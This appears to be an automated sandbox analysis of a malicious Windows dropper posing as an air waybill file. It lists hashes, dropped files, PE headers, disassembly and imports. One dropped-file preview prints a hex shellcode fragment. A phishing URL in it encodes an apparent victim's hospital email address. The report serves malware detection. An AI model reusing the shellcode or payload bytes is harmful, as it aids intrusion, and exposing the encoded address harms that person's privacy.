	https://link.mail.beehiiv.com/ls/click?upn=u001.DTQiLe1mLQCNek4IXPrb3cd8am3-2BtbSaRRShUhZCbhF1FE2NDum-2B9YeqhMivZ-2FcIJGKdOjfqgyCSTZimAiOiNKkJG3N5vgYBNDNlk5YkmOU2XPb-2FKTFlF-2Fc7jFH7Nb8Q0JW6uJclJabjCcGs0cWdzdydwDpcxzScPZQBex7SofyQj6MGdYzEG8hbxGGqYt2bpR0NjPAx6JIYz6GJiSrQNg-3D-3DNN1n_VW5ZEdFpCuXmC2nf4fwMfiBmdui0O95PSMmp4s-2F2oS3jvSHISWr6XQl8RtHpD7TWmHpRBlT8NsCamUZaroeFibjayeskXeuNnFhPFOon1-2FD6SmbcpIEUC7jghzzXsggajKIODB16RJEeGNz4SFHe6mT-2Bn59v08ju13fD9NtKJQcr97qiQNjiGiaoQJcvN3gUurUBqLZp9I4f9bNW54ZUVVCzpwaogbLaWcL9oScbt8r4Ku34t9zOqlF27gTqXVf6T2MbNMKkoCYnb-2BuL8kIZdyoRM3EFOIuktrG5gMH3OTa1K2klBhmxFOQ2d7plqd5asAi8Ofl9YcYOh-2FL4f45riCQtSdd7jru06EkHcBuJahi-2BD3xm-2F7PbjpIpmn-2Bu7KYdjQeOSKE-2FSiD6UNxc7JQNRWkdnK1RTC7eoEMZms82uCa8fJQIoMgqBt91NrcdZIDONaGhhpHXRhQ1VbYp5h6Cow-3D-3D#?email=dmFsZXJpZS5jaHJ1c2NpZWxAb3Zlcmxha2Vob3NwaXRhbC5vcmc=	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	7EulSGn18e.exe	Get hash	malicious	LummaC	Browse	172.67.154.12
	NSLC_Billing_Document_No_0240255100.html	Get hash	malicious	CVE-2024-21412	Browse	104.16.231.132
	62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.97.3

Process:	C:\Windows\SysWOW64\RpcPing.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.1414673161713362
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6:8t4n/9p/39J6hwNKRmqu+7VusE
MD5:	24937DB267D854F3EF5453E2E54EA21B
SHA1:	F519A77A669D9F706D5D537A203B7245368D40CE
SHA-256:	369B8B4465FB5FD7F12258C7DEA941F9CCA9A90C78EE195DF5E02028686869ED
SHA-512:	AED398C6781300E732105E541A6FDD762F04E0EC5A5893762BFDCBDD442348FAF9CB2711EFDC4808D4675A8E48F77BEAB3A0D6BC635B778D47B2DADC9B6086A3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\acceptancy

Process:	C:\Users\user\Desktop\AWB NO. 077-57676135055.exe
File Type:	data
Category:	dropped
Size (bytes):	286208
Entropy (8bit):	7.992791969913571
Encrypted:	true
SSDEEP:	6144:uwkTDIirbOKJhK54lLH70h/AiC2gCryJtTdYL7owG+8tEw:bwxRhU4x8tnmJbW7oAoEw
MD5:	269F6A1274A6B8CCB02A4A704F7B16AF
SHA1:	D5E926F5213FBEC4C8E285EDA22EAFE920822646
SHA-256:	20A7818AB406DC49055B355F60FDF7F70687C2090FFBDDDDE2E346E543BB5776
SHA-512:	F4EDEF7F71B285F3904A8BEAFAEF35C3DAE6F5CD812025F4FE9E3BD7EE2AD51FAE068A5DDBBB9E3ECD0F9D574FACFD0A1CCA5B250896CF50B52B3EC62094AC1E
Malicious:	false
Reputation:	low
Preview:	...b.RCB1i.X...~.06....2D...L3VBM05RCB11LBQNL3VBM05RCB11LB.NL3X].>5.J...M..o.[?1m@G=$0P\l!0 "\"b/U. 6,.X"b....;-)U._NH.1LBQNL3/CD..2$..Q+.l.+.L....2$.+..m.+.L....2$.cX/*l.+.VBM05RCBatLB.OM3d8Mh5RCB11LB.NN2]CF05.GB11LBQNL3.WM05BCB1QHBQN.3VRM05PCB71LBQNL3PBM05RCB1QHBQLL3VBM07R..11\BQ^L3VB]05BCB11LBANL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3x6(HARCBEzHBQ^L3V.I05BCB11LBQNL3VBM0.RC"11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB

C:\Users\user\AppData\Local\Temp\adstipulator

Process:	C:\Users\user\Desktop\AWB NO. 077-57676135055.exe
File Type:	ASCII text, with very long lines (28756), with no line terminators
Category:	dropped
Size (bytes):	28756
Entropy (8bit):	3.591296839010836
Encrypted:	false
SSDEEP:	768:miTZ+2QoioGRk6ZklputwjpjBkCiw2RuJ3nXKUrvzjsNbp+IC6bd4vfF3if6gyu9:miTZ+2QoioGRk6ZklputwjpjBkCiw2RR
MD5:	0A5372B7F3DDDDF819A63558F28BA762
SHA1:	8C03B485BCAA0C8D54D1595981A7DFF100F5ED0B
SHA-256:	1DB6A57B2846A9C4D47C5F2BA9E9F7FA2FCE56AAAED5D5FE7984E0AAA9BDB8C0
SHA-512:	EB04606B433E49E84205C8D227828EECBCF175F76CCD67E5A8371B604847E7A20D00EB9AC7E5577675E25497CD890E43C7616D42FCA15E02B0AA0F180A57BFF5
Malicious:	false
Reputation:	low
Preview:	8D6804F867D7E3ED21599F86932DA5673082A29A59B06B261C54E6F1DF089BBB368C973697738FDC880x558bec81eccc0200005657b86b00000066894584b96500000066894d86ba7200000066895588b86e0000006689458ab96500000066894d8cba6c0000006689558eb83300000066894590b93200000066894d92ba2e00000066895594b86400000066894596b96c00000066894d98ba6c0000006689559a33c06689459cb96e00000066898d44ffffffba7400000066899546ffffffb86400000066898548ffffffb96c00000066898d4affffffba6c0000006689954cffffffb82e0000006689854effffffb96400000066898d50ffffffba6c00000066899552ffffffb86c00000066898554ffffff33c966898d56ffffffba75000000668955d0b873000000668945d2b96500000066894dd4ba72000000668955d6b833000000668945d8b93200000066894ddaba2e000000668955dcb864000000668945deb96c00000066894de0ba6c000000668955e233c0668945e4b96100000066898d68ffffffba640000006689956affffffb8760000006689856cffffffb96100000066898d6effffffba7000000066899570ffffffb86900000066898572ffffffb93300000066898d74ffffffba3200000066899576ffffffb82e00000066898578ffffffb96400000066898d7affffff

C:\Users\user\AppData\Local\Temp\autF6BF.tmp

Process:	C:\Users\user\Desktop\AWB NO. 077-57676135055.exe
File Type:	data
Category:	dropped
Size (bytes):	286208
Entropy (8bit):	7.992791969913571
Encrypted:	true
SSDEEP:	6144:uwkTDIirbOKJhK54lLH70h/AiC2gCryJtTdYL7owG+8tEw:bwxRhU4x8tnmJbW7oAoEw
MD5:	269F6A1274A6B8CCB02A4A704F7B16AF
SHA1:	D5E926F5213FBEC4C8E285EDA22EAFE920822646
SHA-256:	20A7818AB406DC49055B355F60FDF7F70687C2090FFBDDDDE2E346E543BB5776
SHA-512:	F4EDEF7F71B285F3904A8BEAFAEF35C3DAE6F5CD812025F4FE9E3BD7EE2AD51FAE068A5DDBBB9E3ECD0F9D574FACFD0A1CCA5B250896CF50B52B3EC62094AC1E
Malicious:	false
Preview:	...b.RCB1i.X...~.06....2D...L3VBM05RCB11LBQNL3VBM05RCB11LB.NL3X].>5.J...M..o.[?1m@G=$0P\l!0 "\"b/U. 6,.X"b....;-)U._NH.1LBQNL3/CD..2$..Q+.l.+.L....2$.+..m.+.L....2$.cX/*l.+.VBM05RCBatLB.OM3d8Mh5RCB11LB.NN2]CF05.GB11LBQNL3.WM05BCB1QHBQN.3VRM05PCB71LBQNL3PBM05RCB1QHBQLL3VBM07R..11\BQ^L3VB]05BCB11LBANL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3x6(HARCBEzHBQ^L3V.I05BCB11LBQNL3VBM0.RC"11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB11LBQNL3VBM05RCB

C:\Users\user\AppData\Local\Temp\autF72D.tmp

Process:	C:\Users\user\Desktop\AWB NO. 077-57676135055.exe
File Type:	data
Category:	dropped
Size (bytes):	9840
Entropy (8bit):	7.600122076467165
Encrypted:	false
SSDEEP:	192:65jwEiqxwzMZTG3c6Vg0X9O1JZUv3QfyYxvoIMnxb1/9Zmss7Eg5L8p7e+ZEXP:I6qxwzMZy3QU9Obysvojx5fm+G0U
MD5:	33D117459E16755B694CA5687287AA0E
SHA1:	3E1CA739F706A336A6C2C0DDE362831378A6AEDC
SHA-256:	573415479CB805C43F597D019C685F5E6F16F15F8D3CE153095B850359553950
SHA-512:	9C29646229D0BA98B5EF189D000CEC4457B3E5BF175EB59DB98A2940631A5C47F490E7D4A6516B727C06B326974FB63E120C0F5BBE5371BE39ED2790772DE70B
Malicious:	false
Preview:	EA06..pT.Q&...8.M.z,.D.Lf....y9......o3.N&T...5...j..m1..f.Y..cD.L'.....3.N(s...m9...s.5..8.L/.Y...e..&6[...0.L..I..k7.N&. ..a0.M.....q4.Nf.P.....K..d.%...p.lY@.......c.Xf.0.o..b.L.`...,@. ...3+..d....s4.l&..........\|....sa...`.........Y&.K0.....-vs5.M..2...N&.I...@.>..........$.0...fx. ..$l...I...#..$6...... ..... .Z...a.5..&.).....L.j.;$....M.j.;$....X@j.;%....Y@j.;,.....j.e.\|f #^...j......l.....l.5....>0..Xf....M.^....$zn.....G..I....C...M.\|........}S{....7...\| l..P..........0...`>;..c7.6..{......=..7..............6,......b...,S ...i5.M.4.b..i\|v)....b.h.,@..%........9....c...\|3Y..h......._......@.>K...,v[..q5.M,.@..i7.X......9....2.......,.`....3.,.i8........}.k(.f..@..M&V....7.,.x....&.......0.......Fh...Fb.....3.."a9...`....,vb.....cd.X..P.Fl.Y.$..c. ....I...d..f.!...,vd......8..P.......0.....2...y...D.......c.0.......b.<NA...NM..;4.X.q1..&@Q..B.Y.ah......Yl.i..."..Bvj.........ic..'3Y..'f.....,j.1........C.`....7b.., .p..T.......Y,Vi......@

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.134244971800032
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	AWB NO. 077-57676135055.exe
File size:	1'182'720 bytes
MD5:	d0aa9dae95ef6311340a157817230bf0
SHA1:	80019b077b5c1ded0b6485443100c66e94d92e3a
SHA256:	089fa75d9d15b2c8abbaf0daf126b72c8e22dbddb31f56e50f4a19c90065b10f
SHA512:	db4f9fbef67a609c385c84200f943cd1613122711130a1d2ae04dcece7b156b9df64c22230934cc44b358ac5c4357f406afd06c696db198fc7dafa603a852890
SSDEEP:	24576:3AHnh+eWsN3skA4RV1Hom2KXMmHah+tMVkGWioush1i75:qh+ZkldoPK8Yah++DWDu
TLSH:	A845BE02B3D5D036FFAB92739B6AF60156BC79254123852F13981DB9BD701B2223E763
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x42800a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x668532B9 [Wed Jul 3 11:15:05 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F7248B9041Dh
jmp 00007F7248B831D4h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F7248B8335Ah
cmp edi, eax
jc 00007F7248B836BEh
bt dword ptr [004C41FCh], 01h
jnc 00007F7248B83359h
rep movsb
jmp 00007F7248B8366Ch
cmp ecx, 00000080h
jc 00007F7248B83524h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F7248B83360h
bt dword ptr [004BF324h], 01h
jc 00007F7248B83830h
bt dword ptr [004C41FCh], 00000000h
jnc 00007F7248B834FDh
test edi, 00000003h
jne 00007F7248B8350Eh
test esi, 00000003h
jne 00007F7248B834EDh
bt edi, 02h
jnc 00007F7248B8335Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F7248B83363h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F7248B833B5h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbc0cc	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc8000	0x565c4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x11f000	0x7134	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4b50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dfdd	0x8e000	310e36668512d53489c005622bb1b4a9	False	0.5735602580325704	data	6.675248351711057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2fd8e	0x2fe00	748cf1ab2605ce1fd72d53d912abb68f	False	0.32828818537859006	data	5.763244005758284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbf000	0x8f74	0x5200	aae9601d920f07080bdfadf43dfeff12	False	0.1017530487804878	data	1.1963819235530628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc8000	0x565c4	0x56600	09a0316e32a7b582eb07e1e6fb078c2b	False	0.9244273471418234	data	7.885535704113852	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x11f000	0x7134	0x7200	f04128ad0f87f42830e4a6cdbc38c719	False	0.7617530153508771	data	6.783955557128661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc85a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc86d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc87f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc8920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc8c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc8d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc9bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xca480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xca9e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xccf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xce038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xce4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xce4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcea84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcf110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcf5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcfb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xd01f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xd0660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xd07b8	0x4d88a	data			1.000333776269137
RT_GROUP_ICON	0x11e044	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x11e0bc	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x11e0d0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x11e0e4	0x14	data	English	Great Britain	1.25
RT_VERSION	0x11e0f8	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x11e1d4	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
